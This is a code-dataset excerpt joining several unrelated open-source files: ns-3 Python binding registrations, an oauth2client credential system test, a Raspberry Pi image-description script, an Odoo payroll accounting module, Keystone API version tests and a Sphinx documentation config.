## packetbb.h (module 'network'): void ns3::PbbAddressTlv::SetIndexStart(uint8_t index) [member function]
cls.add_method('SetIndexStart',
'void',
[param('uint8_t', 'index')])
## packetbb.h (module 'network'): void ns3::PbbAddressTlv::SetIndexStop(uint8_t index) [member function]
cls.add_method('SetIndexStop',
'void',
[param('uint8_t', 'index')])
## packetbb.h (module 'network'): void ns3::PbbAddressTlv::SetMultivalue(bool isMultivalue) [member function]
cls.add_method('SetMultivalue',
'void',
[param('bool', 'isMultivalue')])
return
def register_Ns3QueueDiscItem_methods(root_module, cls):
## queue-item.h (module 'network'): ns3::QueueDiscItem::QueueDiscItem(ns3::Ptr<ns3::Packet> p, ns3::Address const & addr, uint16_t protocol) [constructor]
cls.add_constructor([param('ns3::Ptr< ns3::Packet >', 'p'), param('ns3::Address const &', 'addr'), param('uint16_t', 'protocol')])
## queue-item.h (module 'network'): ns3::Address ns3::QueueDiscItem::GetAddress() const [member function]
cls.add_method('GetAddress',
'ns3::Address',
[],
is_const=True)
## queue-item.h (module 'network'): uint16_t ns3::QueueDiscItem::GetProtocol() const [member function]
cls.add_method('GetProtocol',
'uint16_t',
[],
is_const=True)
## queue-item.h (module 'network'): uint8_t ns3::QueueDiscItem::GetTxQueueIndex() const [member function]
cls.add_method('GetTxQueueIndex',
'uint8_t',
[],
is_const=True)
## queue-item.h (module 'network'): void ns3::QueueDiscItem::SetTxQueueIndex(uint8_t txq) [member function]
cls.add_method('SetTxQueueIndex',
'void',
[param('uint8_t', 'txq')])
## queue-item.h (module 'network'): void ns3::QueueDiscItem::AddHeader() [member function]
cls.add_method('AddHeader',
'void',
[],
is_pure_virtual=True, is_virtual=True)
## queue-item.h (module 'network'): void ns3::QueueDiscItem::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## queue-item.h (module 'network'): bool ns3::QueueDiscItem::Mark() [member function]
cls.add_method('Mark',
'bool',
[],
is_pure_virtual=True, is_virtual=True)
return
def register_Ns3HashImplementation_methods(root_module, cls):
## hash-function.h (module 'core'): ns3::Hash::Implementation::Implementation(ns3::Hash::Implementation const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Hash::Implementation const &', 'arg0')])
## hash-function.h (module 'core'): ns3::Hash::Implementation::Implementation() [constructor]
cls.add_constructor([])
## hash-function.h (module 'core'): uint32_t ns3::Hash::Implementation::GetHash32(char const * buffer, size_t const size) [member function]
cls.add_method('GetHash32',
'uint32_t',
[param('char const *', 'buffer'), param('size_t const', 'size')],
is_pure_virtual=True, is_virtual=True)
## hash-function.h (module 'core'): uint64_t ns3::Hash::Implementation::GetHash64(char const * buffer, size_t const size) [member function]
cls.add_method('GetHash64',
'uint64_t',
[param('char const *', 'buffer'), param('size_t const', 'size')],
is_virtual=True)
## hash-function.h (module 'core'): void ns3::Hash::Implementation::clear() [member function]
cls.add_method('clear',
'void',
[],
is_pure_virtual=True, is_virtual=True)
return
def register_Ns3HashFunctionFnv1a_methods(root_module, cls):
## hash-fnv.h (module 'core'): ns3::Hash::Function::Fnv1a::Fnv1a(ns3::Hash::Function::Fnv1a const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Hash::Function::Fnv1a const &', 'arg0')])
## hash-fnv.h (module 'core'): ns3::Hash::Function::Fnv1a::Fnv1a() [constructor]
cls.add_constructor([])
## hash-fnv.h (module 'core'): uint32_t ns3::Hash::Function::Fnv1a::GetHash32(char const * buffer, size_t const size) [member function]
cls.add_method('GetHash32',
'uint32_t',
[param('char const *', 'buffer'), param('size_t const', 'size')],
is_virtual=True)
## hash-fnv.h (module 'core'): uint64_t ns3::Hash::Function::Fnv1a::GetHash64(char const * buffer, size_t const size) [member function]
cls.add_method('GetHash64',
'uint64_t',
[param('char const *', 'buffer'), param('size_t const', 'size')],
is_virtual=True)
## hash-fnv.h (module 'core'): void ns3::Hash::Function::Fnv1a::clear() [member function]
cls.add_method('clear',
'void',
[],
is_virtual=True)
return
def register_Ns3HashFunctionHash32_methods(root_module, cls):
## hash-function.h (module 'core'): ns3::Hash::Function::Hash32::Hash32(ns3::Hash::Function::Hash32 const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Hash::Function::Hash32 const &', 'arg0')])
## hash-function.h (module 'core'): ns3::Hash::Function::Hash32::Hash32(ns3::Hash::Hash32Function_ptr hp) [constructor]
cls.add_constructor([param('ns3::Hash::Hash32Function_ptr', 'hp')])
## hash-function.h (module 'core'): uint32_t ns3::Hash::Function::Hash32::GetHash32(char const * buffer, size_t const size) [member function]
cls.add_method('GetHash32',
'uint32_t',
[param('char const *', 'buffer'), param('size_t const', 'size')],
is_virtual=True)
## hash-function.h (module 'core'): void ns3::Hash::Function::Hash32::clear() [member function]
cls.add_method('clear',
'void',
[],
is_virtual=True)
return
def register_Ns3HashFunctionHash64_methods(root_module, cls):
## hash-function.h (module 'core'): ns3::Hash::Function::Hash64::Hash64(ns3::Hash::Function::Hash64 const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Hash::Function::Hash64 const &', 'arg0')])
## hash-function.h (module 'core'): ns3::Hash::Function::Hash64::Hash64(ns3::Hash::Hash64Function_ptr hp) [constructor]
cls.add_constructor([param('ns3::Hash::Hash64Function_ptr', 'hp')])
## hash-function.h (module 'core'): uint32_t ns3::Hash::Function::Hash64::GetHash32(char const * buffer, size_t const size) [member function]
cls.add_method('GetHash32',
'uint32_t',
[param('char const *', 'buffer'), param('size_t const', 'size')],
is_virtual=True)
## hash-function.h (module 'core'): uint64_t ns3::Hash::Function::Hash64::GetHash64(char const * buffer, size_t const size) [member function]
cls.add_method('GetHash64',
'uint64_t',
[param('char const *', 'buffer'), param('size_t const', 'size')],
is_virtual=True)
## hash-function.h (module 'core'): void ns3::Hash::Function::Hash64::clear() [member function]
cls.add_method('clear',
'void',
[],
is_virtual=True)
return
def register_Ns3HashFunctionMurmur3_methods(root_module, cls):
## hash-murmur3.h (module 'core'): ns3::Hash::Function::Murmur3::Murmur3(ns3::Hash::Function::Murmur3 const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Hash::Function::Murmur3 const &', 'arg0')])
## hash-murmur3.h (module 'core'): ns3::Hash::Function::Murmur3::Murmur3() [constructor]
cls.add_constructor([])
## hash-murmur3.h (module 'core'): uint32_t ns3::Hash::Function::Murmur3::GetHash32(char const * buffer, size_t const size) [member function]
cls.add_method('GetHash32',
'uint32_t',
[param('char const *', 'buffer'), param('size_t const', 'size')],
is_virtual=True)
## hash-murmur3.h (module 'core'): uint64_t ns3::Hash::Function::Murmur3::GetHash64(char const * buffer, size_t const size) [member function]
cls.add_method('GetHash64',
'uint64_t',
[param('char const *', 'buffer'), param('size_t const', 'size')],
is_virtual=True)
## hash-murmur3.h (module 'core'): void ns3::Hash::Function::Murmur3::clear() [member function]
cls.add_method('clear',
'void',
[],
is_virtual=True)
return
def register_functions(root_module):
module = root_module
register_functions_ns3_FatalImpl(module.get_submodule('FatalImpl'), root_module)
register_functions_ns3_Hash(module.get_submodule('Hash'), root_module)
register_functions_ns3_TracedValueCallback(module.get_submodule('TracedValueCallback'), root_module)
register_functions_ns3_addressUtils(module.get_submodule('addressUtils'), root_module)
register_functions_ns3_internal(module.get_submodule('internal'), root_module)
return
def register_functions_ns3_FatalImpl(module, root_module):
return
def register_functions_ns3_Hash(module, root_module):
register_functions_ns3_Hash_Function(module.get_submodule('Function'), root_module)
return
def register_functions_ns3_Hash_Function(module, root_module):
return
def register_functions_ns3_TracedValueCallback(module, root_module):
return
def register_functions_ns3_addressUtils(module, root_module):
return
def register_functions_ns3_internal(module, root_module):
return
def main():
out = FileCodeSink(sys.stdout)
root_module = module_init()
register_types(root_module)
register_methods(root_module)
register_functions(root_module)
root_module.generate(out)
if __name__ == '__main__':
main()
| gpl-2.0 |
Teamxrtc/webrtc-streaming-node | third_party/depot_tools/external_bin/gsutil/gsutil_4.15/gsutil/third_party/oauth2client/scripts/run_system_tests.py | 20 | 3557 | import json
import os
import httplib2
from oauth2client import client
from oauth2client import service_account
JSON_KEY_PATH = os.getenv('OAUTH2CLIENT_TEST_JSON_KEY_PATH')
P12_KEY_PATH = os.getenv('OAUTH2CLIENT_TEST_P12_KEY_PATH')
P12_KEY_EMAIL = os.getenv('OAUTH2CLIENT_TEST_P12_KEY_EMAIL')
USER_KEY_PATH = os.getenv('OAUTH2CLIENT_TEST_USER_KEY_PATH')
USER_KEY_EMAIL = os.getenv('OAUTH2CLIENT_TEST_USER_KEY_EMAIL')
SCOPE = ('https://www.googleapis.com/auth/plus.login',
'https://www.googleapis.com/auth/plus.me',
'https://www.googleapis.com/auth/userinfo.email',
'https://www.googleapis.com/auth/userinfo.profile')
USER_INFO = 'https://www.googleapis.com/oauth2/v2/userinfo'
def _require_environ():
if (JSON_KEY_PATH is None or P12_KEY_PATH is None or
P12_KEY_EMAIL is None or USER_KEY_PATH is None or
USER_KEY_EMAIL is None):
raise EnvironmentError('Expected environment variables to be set:',
'OAUTH2CLIENT_TEST_JSON_KEY_PATH',
'OAUTH2CLIENT_TEST_P12_KEY_PATH',
'OAUTH2CLIENT_TEST_P12_KEY_EMAIL',
'OAUTH2CLIENT_TEST_USER_KEY_PATH',
'OAUTH2CLIENT_TEST_USER_KEY_EMAIL')
if not os.path.isfile(JSON_KEY_PATH):
raise EnvironmentError(JSON_KEY_PATH, 'is not a file')
if not os.path.isfile(P12_KEY_PATH):
raise EnvironmentError(P12_KEY_PATH, 'is not a file')
if not os.path.isfile(USER_KEY_PATH):
raise EnvironmentError(USER_KEY_PATH, 'is not a file')
def _check_user_info(credentials, expected_email):
http = credentials.authorize(httplib2.Http())
response, content = http.request(USER_INFO)
if response.status != 200:
raise ValueError('Expected 200 response.')
content = content.decode('utf-8')
payload = json.loads(content)
if payload['email'] != expected_email:
raise ValueError('User info email does not match credentials.')
def run_json():
with open(JSON_KEY_PATH, 'r') as file_object:
client_credentials = json.load(file_object)
credentials = service_account._ServiceAccountCredentials(
service_account_id=client_credentials['client_id'],
service_account_email=client_credentials['client_email'],
private_key_id=client_credentials['private_key_id'],
private_key_pkcs8_text=client_credentials['private_key'],
scopes=SCOPE,
)
_check_user_info(credentials, client_credentials['client_email'])
def run_p12():
with open(P12_KEY_PATH, 'rb') as file_object:
private_key_contents = file_object.read()
credentials = client.SignedJwtAssertionCredentials(
service_account_name=P12_KEY_EMAIL,
private_key=private_key_contents,
scope=SCOPE,
)
_check_user_info(credentials, P12_KEY_EMAIL)
def run_user_json():
with open(USER_KEY_PATH, 'r') as file_object:
client_credentials = json.load(file_object)
credentials = client.GoogleCredentials(
access_token=None,
client_id=client_credentials['client_id'],
client_secret=client_credentials['client_secret'],
refresh_token=client_credentials['refresh_token'],
token_expiry=None,
token_uri=client.GOOGLE_TOKEN_URI,
user_agent='Python client library',
)
_check_user_info(credentials, USER_KEY_EMAIL)
def main():
_require_environ()
run_json()
run_p12()
run_user_json()
if __name__ == '__main__':
main()
| mit |
Multipixelone/BlindRemote | start.py | 2 | 1579 | ## Import Files
print('eyeRemote by Multipixelone on Github.')
from TakePicture import TakePicture
from LocalVariables import takepicture
print('Imported Picture Taking')
from Cloudsight import UploadPicture
from cloudsight import errors
import cloudsight
import requests
print('Imported Image Uploading')
import RPi.GPIO as GPIO
print('Imported GPIO')
from PlaySounds import Welcome
from PlaySounds import ErrorNetwork
from PlaySounds import SpeakWord
from PlaySounds import PictureTaken
print('Imported Sound Playing')
from time import sleep
print('Imported Sleeping')
## Setup GPIO
GPIO.setmode(GPIO.BCM)
GPIO.setup(takepicture, GPIO.IN, pull_up_down=GPIO.PUD_UP)
## Functions Available:
#TakePicture()
#UploadPicture()
#ErrorNetwork()
#Welcome()
#SpeakWord(WORD)
## Code to upload image.jpg, return a json response, import that, and then speak it out
#UploadPicture()
#from CloudsightAPI import item
#SpeakWord(item)
## Code to take picture:
#print('Waiting for inputs!')
#while True:
# if (GPIO.input(takepicture)):
# TakePicture()
## Actual code now:
Welcome()
print('Waiting for inputs!')
while True:
input_state = GPIO.input(takepicture)
if input_state == False:
TakePicture()
PictureTaken()
try:
UploadPicture()
except requests.ConnectionError:
ErrorNetwork()
except errors.APIError:
SpeakWord("Invalid Cloudsight Key, please run install script")
except KeyError:
SpeakWord("Error Recognizing. Try something else")
else:
from Cloudsight import item
SpeakWord(item)
| gpl-3.0 |
Innovahn/odoo.old | addons/hr_payroll_account/hr_payroll_account.py | 240 | 10840 | #-*- coding:utf-8 -*-
##############################################################################
#
# OpenERP, Open Source Management Solution
# Copyright (C) 2004-2009 Tiny SPRL (<http://tiny.be>). All Rights Reserved
# d$
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
##############################################################################
import time
from datetime import date, datetime, timedelta
from openerp.osv import fields, osv
from openerp.tools import float_compare, float_is_zero
from openerp.tools.translate import _
class hr_payslip(osv.osv):
'''
Pay Slip
'''
_inherit = 'hr.payslip'
_description = 'Pay Slip'
_columns = {
'period_id': fields.many2one('account.period', 'Force Period',states={'draft': [('readonly', False)]}, readonly=True, domain=[('state','<>','done')], help="Keep empty to use the period of the validation(Payslip) date."),
'journal_id': fields.many2one('account.journal', 'Salary Journal',states={'draft': [('readonly', False)]}, readonly=True, required=True),
'move_id': fields.many2one('account.move', 'Accounting Entry', readonly=True, copy=False),
}
def _get_default_journal(self, cr, uid, context=None):
model_data = self.pool.get('ir.model.data')
res = model_data.search(cr, uid, [('name', '=', 'expenses_journal')])
if res:
return model_data.browse(cr, uid, res[0]).res_id
return False
_defaults = {
'journal_id': _get_default_journal,
}
def create(self, cr, uid, vals, context=None):
if context is None:
context = {}
if 'journal_id' in context:
vals.update({'journal_id': context.get('journal_id')})
return super(hr_payslip, self).create(cr, uid, vals, context=context)
def onchange_contract_id(self, cr, uid, ids, date_from, date_to, employee_id=False, contract_id=False, context=None):
contract_obj = self.pool.get('hr.contract')
res = super(hr_payslip, self).onchange_contract_id(cr, uid, ids, date_from=date_from, date_to=date_to, employee_id=employee_id, contract_id=contract_id, context=context)
journal_id = contract_id and contract_obj.browse(cr, uid, contract_id, context=context).journal_id.id or False
res['value'].update({'journal_id': journal_id})
return res
def cancel_sheet(self, cr, uid, ids, context=None):
move_pool = self.pool.get('account.move')
move_ids = []
move_to_cancel = []
for slip in self.browse(cr, uid, ids, context=context):
if slip.move_id:
move_ids.append(slip.move_id.id)
if slip.move_id.state == 'posted':
move_to_cancel.append(slip.move_id.id)
move_pool.button_cancel(cr, uid, move_to_cancel, context=context)
move_pool.unlink(cr, uid, move_ids, context=context)
return super(hr_payslip, self).cancel_sheet(cr, uid, ids, context=context)
def process_sheet(self, cr, uid, ids, context=None):
move_pool = self.pool.get('account.move')
period_pool = self.pool.get('account.period')
precision = self.pool.get('decimal.precision').precision_get(cr, uid, 'Payroll')
timenow = time.strftime('%Y-%m-%d')
for slip in self.browse(cr, uid, ids, context=context):
line_ids = []
debit_sum = 0.0
credit_sum = 0.0
if not slip.period_id:
search_periods = period_pool.find(cr, uid, slip.date_to, context=context)
period_id = search_periods[0]
else:
period_id = slip.period_id.id
default_partner_id = slip.employee_id.address_home_id.id
name = _('Payslip of %s') % (slip.employee_id.name)
move = {
'narration': name,
'date': timenow,
'ref': slip.number,
'journal_id': slip.journal_id.id,
'period_id': period_id,
}
for line in slip.details_by_salary_rule_category:
amt = slip.credit_note and -line.total or line.total
if float_is_zero(amt, precision_digits=precision):
continue
partner_id = line.salary_rule_id.register_id.partner_id and line.salary_rule_id.register_id.partner_id.id or default_partner_id
debit_account_id = line.salary_rule_id.account_debit.id
credit_account_id = line.salary_rule_id.account_credit.id
if debit_account_id:
debit_line = (0, 0, {
'name': line.name,
'date': timenow,
'partner_id': (line.salary_rule_id.register_id.partner_id or line.salary_rule_id.account_debit.type in ('receivable', 'payable')) and partner_id or False,
'account_id': debit_account_id,
'journal_id': slip.journal_id.id,
'period_id': period_id,
'debit': amt > 0.0 and amt or 0.0,
'credit': amt < 0.0 and -amt or 0.0,
'analytic_account_id': line.salary_rule_id.analytic_account_id and line.salary_rule_id.analytic_account_id.id or False,
'tax_code_id': line.salary_rule_id.account_tax_id and line.salary_rule_id.account_tax_id.id or False,
'tax_amount': line.salary_rule_id.account_tax_id and amt or 0.0,
})
line_ids.append(debit_line)
debit_sum += debit_line[2]['debit'] - debit_line[2]['credit']
if credit_account_id:
credit_line = (0, 0, {
'name': line.name,
'date': timenow,
'partner_id': (line.salary_rule_id.register_id.partner_id or line.salary_rule_id.account_credit.type in ('receivable', 'payable')) and partner_id or False,
'account_id': credit_account_id,
'journal_id': slip.journal_id.id,
'period_id': period_id,
'debit': amt < 0.0 and -amt or 0.0,
'credit': amt > 0.0 and amt or 0.0,
'analytic_account_id': line.salary_rule_id.analytic_account_id and line.salary_rule_id.analytic_account_id.id or False,
'tax_code_id': line.salary_rule_id.account_tax_id and line.salary_rule_id.account_tax_id.id or False,
'tax_amount': line.salary_rule_id.account_tax_id and amt or 0.0,
})
line_ids.append(credit_line)
credit_sum += credit_line[2]['credit'] - credit_line[2]['debit']
if float_compare(credit_sum, debit_sum, precision_digits=precision) == -1:
acc_id = slip.journal_id.default_credit_account_id.id
if not acc_id:
raise osv.except_osv(_('Configuration Error!'),_('The Expense Journal "%s" has not properly configured the Credit Account!')%(slip.journal_id.name))
adjust_credit = (0, 0, {
'name': _('Adjustment Entry'),
'date': timenow,
'partner_id': False,
'account_id': acc_id,
'journal_id': slip.journal_id.id,
'period_id': period_id,
'debit': 0.0,
'credit': debit_sum - credit_sum,
})
line_ids.append(adjust_credit)
elif float_compare(debit_sum, credit_sum, precision_digits=precision) == -1:
acc_id = slip.journal_id.default_debit_account_id.id
if not acc_id:
raise osv.except_osv(_('Configuration Error!'),_('The Expense Journal "%s" has not properly configured the Debit Account!')%(slip.journal_id.name))
adjust_debit = (0, 0, {
'name': _('Adjustment Entry'),
'date': timenow,
'partner_id': False,
'account_id': acc_id,
'journal_id': slip.journal_id.id,
'period_id': period_id,
'debit': credit_sum - debit_sum,
'credit': 0.0,
})
line_ids.append(adjust_debit)
move.update({'line_id': line_ids})
move_id = move_pool.create(cr, uid, move, context=context)
self.write(cr, uid, [slip.id], {'move_id': move_id, 'period_id' : period_id}, context=context)
if slip.journal_id.entry_posted:
move_pool.post(cr, uid, [move_id], context=context)
return super(hr_payslip, self).process_sheet(cr, uid, [slip.id], context=context)
class hr_salary_rule(osv.osv):
_inherit = 'hr.salary.rule'
_columns = {
'analytic_account_id':fields.many2one('account.analytic.account', 'Analytic Account'),
'account_tax_id':fields.many2one('account.tax.code', 'Tax Code'),
'account_debit': fields.many2one('account.account', 'Debit Account'),
'account_credit': fields.many2one('account.account', 'Credit Account'),
}
class hr_contract(osv.osv):
_inherit = 'hr.contract'
_description = 'Employee Contract'
_columns = {
'analytic_account_id':fields.many2one('account.analytic.account', 'Analytic Account'),
'journal_id': fields.many2one('account.journal', 'Salary Journal'),
}
class hr_payslip_run(osv.osv):
_inherit = 'hr.payslip.run'
_description = 'Payslip Run'
_columns = {
'journal_id': fields.many2one('account.journal', 'Salary Journal', states={'draft': [('readonly', False)]}, readonly=True, required=True),
}
def _get_default_journal(self, cr, uid, context=None):
model_data = self.pool.get('ir.model.data')
res = model_data.search(cr, uid, [('name', '=', 'expenses_journal')])
if res:
return model_data.browse(cr, uid, res[0]).res_id
return False
_defaults = {
'journal_id': _get_default_journal,
}
# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
| agpl-3.0 |
kwss/keystone | tests/test_versions.py | 4 | 8488 | # vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2012 OpenStack LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
# implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from keystone import config
from keystone import controllers
from keystone.openstack.common import jsonutils
from keystone import test
CONF = config.CONF
v2_MEDIA_TYPES = [
{
"base": "application/json",
"type": "application/"
"vnd.openstack.identity-v2.0+json"
}, {
"base": "application/xml",
"type": "application/"
"vnd.openstack.identity-v2.0+xml"
}
]
v2_HTML_DESCRIPTION = {
"rel": "describedby",
"type": "text/html",
"href": "http://docs.openstack.org/api/"
"openstack-identity-service/2.0/"
"content/"
}
v2_PDF_DESCRIPTION = {
"rel": "describedby",
"type": "application/pdf",
"href": "http://docs.openstack.org/api/"
"openstack-identity-service/2.0/"
"identity-dev-guide-2.0.pdf"
}
v2_EXPECTED_RESPONSE = {
"id": "v2.0",
"status": "stable",
"updated": "2013-03-06T00:00:00Z",
"links": [
{
"rel": "self",
"href": "", # Will get filled in after initialization
},
v2_HTML_DESCRIPTION,
v2_PDF_DESCRIPTION
],
"media-types": v2_MEDIA_TYPES
}
v2_VERSION_RESPONSE = {
"version": v2_EXPECTED_RESPONSE
}
v3_MEDIA_TYPES = [
{
"base": "application/json",
"type": "application/"
"vnd.openstack.identity-v3+json"
}, {
"base": "application/xml",
"type": "application/"
"vnd.openstack.identity-v3+xml"
}
]
v3_EXPECTED_RESPONSE = {
"id": "v3.0",
"status": "stable",
"updated": "2013-03-06T00:00:00Z",
"links": [
{
"rel": "self",
"href": "", # Will get filled in after initialization
}
],
"media-types": v3_MEDIA_TYPES
}
v3_VERSION_RESPONSE = {
"version": v3_EXPECTED_RESPONSE
}
VERSIONS_RESPONSE = {
"versions": {
"values": [
v3_EXPECTED_RESPONSE,
v2_EXPECTED_RESPONSE
]
}
}
class VersionTestCase(test.TestCase):
def setUp(self):
super(VersionTestCase, self).setUp()
self.load_backends()
self.public_app = self.loadapp('keystone', 'main')
self.admin_app = self.loadapp('keystone', 'admin')
self.public_server = self.serveapp('keystone', name='main')
self.admin_server = self.serveapp('keystone', name='admin')
def _paste_in_port(self, response, port):
for link in response['links']:
if link['rel'] == 'self':
link['href'] = port
def test_public_versions(self):
client = self.client(self.public_app)
resp = client.get('/')
self.assertEqual(resp.status_int, 300)
data = jsonutils.loads(resp.body)
expected = VERSIONS_RESPONSE
for version in expected['versions']['values']:
if version['id'] == 'v3.0':
self._paste_in_port(
version, 'http://localhost:%s/v3/' % CONF.public_port)
elif version['id'] == 'v2.0':
self._paste_in_port(
version, 'http://localhost:%s/v2.0/' % CONF.public_port)
self.assertEqual(data, expected)
def test_admin_versions(self):
client = self.client(self.admin_app)
resp = client.get('/')
self.assertEqual(resp.status_int, 300)
data = jsonutils.loads(resp.body)
expected = VERSIONS_RESPONSE
for version in expected['versions']['values']:
if version['id'] == 'v3.0':
self._paste_in_port(
version, 'http://localhost:%s/v3/' % CONF.admin_port)
elif version['id'] == 'v2.0':
self._paste_in_port(
version, 'http://localhost:%s/v2.0/' % CONF.admin_port)
self.assertEqual(data, expected)
def test_public_version_v2(self):
client = self.client(self.public_app)
resp = client.get('/v2.0/')
self.assertEqual(resp.status_int, 200)
data = jsonutils.loads(resp.body)
expected = v2_VERSION_RESPONSE
self._paste_in_port(expected['version'],
'http://localhost:%s/v2.0/' % CONF.public_port)
self.assertEqual(data, expected)
def test_admin_version_v2(self):
client = self.client(self.admin_app)
resp = client.get('/v2.0/')
self.assertEqual(resp.status_int, 200)
data = jsonutils.loads(resp.body)
expected = v2_VERSION_RESPONSE
self._paste_in_port(expected['version'],
'http://localhost:%s/v2.0/' % CONF.admin_port)
self.assertEqual(data, expected)
def test_public_version_v3(self):
print CONF.public_port
client = self.client(self.public_app)
resp = client.get('/v3/')
self.assertEqual(resp.status_int, 200)
data = jsonutils.loads(resp.body)
expected = v3_VERSION_RESPONSE
self._paste_in_port(expected['version'],
'http://localhost:%s/v3/' % CONF.public_port)
self.assertEqual(data, expected)
def test_admin_version_v3(self):
client = self.client(self.public_app)
resp = client.get('/v3/')
self.assertEqual(resp.status_int, 200)
data = jsonutils.loads(resp.body)
expected = v3_VERSION_RESPONSE
self._paste_in_port(expected['version'],
'http://localhost:%s/v3/' % CONF.admin_port)
self.assertEqual(data, expected)
def test_v2_disabled(self):
self.stubs.Set(controllers, '_VERSIONS', ['v3'])
client = self.client(self.public_app)
# request to /v2.0 should fail
resp = client.get('/v2.0/')
self.assertEqual(resp.status_int, 404)
# request to /v3 should pass
resp = client.get('/v3/')
self.assertEqual(resp.status_int, 200)
data = jsonutils.loads(resp.body)
expected = v3_VERSION_RESPONSE
self._paste_in_port(expected['version'],
'http://localhost:%s/v3/' % CONF.public_port)
self.assertEqual(data, expected)
# only v3 information should be displayed by requests to /
v3_only_response = {
"versions": {
"values": [
v3_EXPECTED_RESPONSE
]
}
}
self._paste_in_port(v3_only_response['versions']['values'][0],
'http://localhost:%s/v3/' % CONF.public_port)
resp = client.get('/')
self.assertEqual(resp.status_int, 300)
data = jsonutils.loads(resp.body)
self.assertEqual(data, v3_only_response)
def test_v3_disabled(self):
self.stubs.Set(controllers, '_VERSIONS', ['v2.0'])
client = self.client(self.public_app)
# request to /v3 should fail
resp = client.get('/v3/')
self.assertEqual(resp.status_int, 404)
# request to /v2.0 should pass
resp = client.get('/v2.0/')
self.assertEqual(resp.status_int, 200)
data = jsonutils.loads(resp.body)
expected = v2_VERSION_RESPONSE
self._paste_in_port(expected['version'],
'http://localhost:%s/v2.0/' % CONF.public_port)
self.assertEqual(data, expected)
# only v2 information should be displayed by requests to /
v2_only_response = {
"versions": {
"values": [
v2_EXPECTED_RESPONSE
]
}
}
self._paste_in_port(v2_only_response['versions']['values'][0],
'http://localhost:%s/v2.0/' % CONF.public_port)
resp = client.get('/')
self.assertEqual(resp.status_int, 300)
data = jsonutils.loads(resp.body)
self.assertEqual(data, v2_only_response)
| apache-2.0 |
mapcentia/vidi | docs/da/conf.py | 1 | 8332 | # -*- coding: utf-8 -*-
#
# Read the Docs Template documentation build configuration file, created by
# sphinx-quickstart on Tue Aug 26 14:19:49 2014.
#
# This file is execfile()d with the current directory set to its
# containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# All configuration values have a default; values that are commented out
# serve to show the default.
import sys
import os
numfig = True
# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute, like shown here.
#sys.path.insert(0, os.path.abspath('.'))
# -- General configuration ------------------------------------------------
# If your documentation needs a minimal Sphinx version, state it here.
#needs_sphinx = '1.0'
# Add any Sphinx extension module names here, as strings. They can be
# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom
# ones.
extensions = [
'm2r2',
'sphinx.ext.intersphinx'
]
# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']
# The suffix of source filenames.
source_suffix = ['.rst', 'md']
# The encoding of source files.
source_encoding = 'utf-8-sig'
# The master toctree document.
master_doc = 'index'
# General information about the project.
project = u'Vidi'
copyright = u'2021, MapCentia'
# The version info for the project you're documenting, acts as replacement for
# |version| and |release|, also used in various other places throughout the
# built documents.
#
# The short X.Y version.
version = '1.0'
# The full version, including alpha/beta/rc tags.
release = '1.0b'
# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
language = 'da_DK'
# There are two options for replacing |today|: either, you set today to some
# non-false value, then it is used:
#today = ''
# Else, today_fmt is used as the format for a strftime call.
#today_fmt = '%B %d, %Y'
# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
exclude_patterns = ['_build']
# The reST default role (used for this markup: `text`) to use for all
# documents.
#default_role = None
# If true, '()' will be appended to :func: etc. cross-reference text.
#add_function_parentheses = True
# If true, the current module name will be prepended to all description
# unit titles (such as .. function::).
#add_module_names = True
# If true, sectionauthor and moduleauthor directives will be shown in the
# output. They are ignored by default.
#show_authors = False
# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'sphinx'
# A list of ignored prefixes for module index sorting.
#modindex_common_prefix = []
# If true, keep warnings as "system message" paragraphs in the built documents.
#keep_warnings = False
# -- Options for HTML output ----------------------------------------------
# The theme to use for HTML and HTML Help pages. See the documentation for
# a list of builtin themes.
html_theme = 'sphinx_rtd_theme'
# Theme options are theme-specific and customize the look and feel of a theme
# further. For a list of options available for each theme, see the
# documentation.
#html_theme_options = {}
# Add any paths that contain custom themes here, relative to this directory.
#html_theme_path = []
# The name for this set of Sphinx documents. If None, it defaults to
# "<project> v<release> documentation".
#html_title = None
# A shorter title for the navigation bar. Default is the same as html_title.
#html_short_title = None
# The name of an image file (relative to this directory) to place at the top
# of the sidebar.
#html_logo = None
# The name of an image file (within the static path) to use as favicon of the
# docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32
# pixels large.
#html_favicon = None
# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
# html_static_path = ['_static']
# Add any extra paths that contain custom files (such as robots.txt or
# .htaccess) here, relative to this directory. These files are copied
# directly to the root of the documentation.
#html_extra_path = []
# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,
# using the given strftime format.
#html_last_updated_fmt = '%b %d, %Y'
# If true, SmartyPants will be used to convert quotes and dashes to
# typographically correct entities.
#html_use_smartypants = True
# Custom sidebar templates, maps document names to template names.
#html_sidebars = {}
# Additional templates that should be rendered to pages, maps page names to
# template names.
